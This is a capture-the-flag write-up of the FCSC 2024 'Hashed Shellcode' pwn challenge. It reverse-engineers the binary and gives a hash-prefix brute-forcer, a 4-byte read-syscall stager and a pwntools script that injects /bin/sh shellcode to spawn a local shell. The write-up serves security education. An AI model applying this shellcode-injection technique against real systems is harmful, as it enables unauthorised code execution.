[FCSC 2024] Pwn - Hashed Shellcode
Introduction
In the context of the FCSC 2024 (France Cybersecurity Challenge), I had the opportunity to test a PWN challenge named Hashed Shellcode.
We are provided with a single ELF binary named hashed_shellcode
.
The binary has the following protections: RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
Setup
Those are the tools I used for this challenge:
- Binary Ninja
- Pwntools 4.9.0
- Pwninit 3.3.0
- Python 3.11.2
TL;DR
- Find a sha256 hash that starts with a certain prefix to call the read syscall and write a longer shellcode that spawns /bin/sh
Reverse Engineering
Let me breakdown the main function for you:
- First it set a section of the binary as RWX:
1 if (mprotect(0x4000, _init, 7) != 0) 2 { 3 perror("mprotect"); 4 exit(1); 5 /* no return */ 6 }
- Then it reads 0x20 bytes inside the RWX segment:
1 memset(&shellcode, 0, 0x20); 2 int length = read(0, &shellcode, 0x20); 3 if (length <= 0) 4 { 5 perror("read"); 6 exit(1); 7 /* no return */ 8 }
- Next, it checks if the data it just read starts with the string
FCSC_
and if it consists only of alphanumeric characters.1 checks = (i + length); 2 checks = (checks - ((int64_t)((uint32_t)shellcode[0] == 'F'))); 3 checks = (checks - ((int64_t)((uint32_t)shellcode[1] == 'C'))); 4 checks = (checks - ((int64_t)((uint32_t)shellcode[2] == 'S'))); 5 checks = (checks - ((int64_t)((uint32_t)shellcode[3] == 'C'))); 6 checks = (checks - ((int64_t)((uint32_t)shellcode[4] == '_'))); 7 for (let i=5; i < strlen(shellcode); i++) 8 { 9 if (strchr("0123456789:;<=>?@ABCDEFGHIJKLMNO…", &shellcode[i])) != 0) 10 { 11 checks = (checks - 1); 12 } 13 } 14
- Finally, it verifies that the variable checks is equal to 0. if it’s the case, it transforms our input into a SHA256 hash and jumps on it. Else, we asked again to enter a payload
1 if (checks > 0) 2 { 3 printf("Invalid input, retry! %ld\n",length); 4 length = 0; 5 } 6 else 7 { 8 void struct; 9 SHA256_Init(&struct); 10 SHA256_Update(&struct, &shellcode, length, &shellcode); 11 SHA256_Final(&shellcode, &struct); 12 &shellcode(); 13 if (length == 0) 14 { 15 break; 16 } 17 } 18 } 19
TL;DR
- We enter an alphanumeric string that starts by
FCSC_
- It is transformed into a sha256 hash.
- We jump into the sha256 hash just like a shellcode.
Exploitation of our program
So, for example, if we want to execute the int3 instruction (corresponding to 0xcc in hex), we must find a SHA256 hash that starts by 0xcc and whose clear text starts by FCSC_
.
I used the following python program to do so:
1import random
2import hashlib
3
4def find_hash_with_prefix(prefix):
5 prefix_bytes = bytes.fromhex(prefix)
6 nonce = 0
7 ran = random.randint(0,0xffffffff)
8 while True:
9 message = f"FCSC_{nonce}{ran}".encode()
10
11 hash_result = hashlib.sha256(message).digest()
12
13 if hash_result.startswith(prefix_bytes):
14 return message, hash_result.hex()
15 nonce += 1
16
17prefix = input("Byte(s) you are looking for: ")
18message, hash_result = find_hash_with_prefix(prefix)
19print(f"Input: {message.decode()}")
20print(f"SHA-256 Hash: {hash_result}")
21
1$ python working.py
2Byte(s) you are looking for: cc
3Input: FCSC_107168786295
4SHA-256 Hash: cc1bb6797135d0224f1b52a2c2adb61060dd8e3252ce873d12d974f94b5873f1
If we give the program the string FCSC_107168786295
, we should execute the instruction 0xcc. Let’s verify:
Great ! We are now able to execute arbitrary instructions.
Well there is still a problem… we may be able to execute single bytes instructions but it will be much harder to execute whole shellcodes since it’s impossible to predict a hash. After lots of tests, I came to the conclusion that we are limited to a 4 bytes shellcode.
The usual thing to do when dealing with size limited shellcode is to use the read
syscall to read a much bigger shellcode and to bypass the size limit.
Here is what we need in our case:
- rax: 0 -> read syscall number
- rdi: 0 -> stdin
- rsi: the address of the start of the shellcode
- rdx: any value superior to 0x20
And as you can see on the screenshot I gave earlier, rax, rdi and rdx have a good value. The only register whose value isn’t good is rsi. Our goal would be to move the value of rdx to rsi because rdx contains the address of the start of the shellcode.
One way to do it would be to use the instruction:
1mov rsi, rdx
but it’s 3 bytes and if we combine it with the syscall instruction, it will be 5 bytes long which is too much.
Another way to do it would be to use those instructions because they are both a single byte long and they would set rsi to rdx:
1push rdx
2pop rsi
To conclude, our final shellcode will be:
1push rdx -> bytecode 52
2pop rsi -> bytecode 5e
3syscall -> bytecode 0f05
And launching our python script to find the good input for our shellcode we get this (after waiting 5 minutes):
1$ python working.py
2Byte(s) you are looking for: 525e0f05
3Input: FCSC_22463894253409399920974
4SHA-256 Hash: 525e0f05aca9ec21da0bfefe94fe9b409c79ca42607ef979fa91af120c41c6ac
Entering FCSC_22463894253409399920974
confirms that we are able to craft a functioning read syscall.
Finally, we send a small NOP sled to prevent any misalignment issues with our shellcode, along with a shellcode invoking the execve syscall with /bin/sh\0
as its argument.
Here is the script that I used to do it:
1from pwn import *
2
3elf = ELF('./hashed-shellcode', checksec=False)
4context.arch = 'amd64'
5
6p = process(elf.path)
7
8
9p.sendlineafter(b":\n",b"FCSC_22463894253409399920974")
10
11success("TRIGGERED SYSCALL READ")
12
13p.sendline(b"\x90"*20+asm(shellcraft.amd64.linux.sh()))
14
15p.interactive()
And finally, we are able to spawn our shell
1$ python exploit.py
2[+] Starting local process './hashed-shellcode': pid 232862
3[+] TRIGGERED SYSCALL READ
4[*] Switching to interactive mode
5$ cat flag.txt
6FCSC{bl4bl4bl4}
Thanks for reading and thanks to the ANSSI for this unusual challenge :)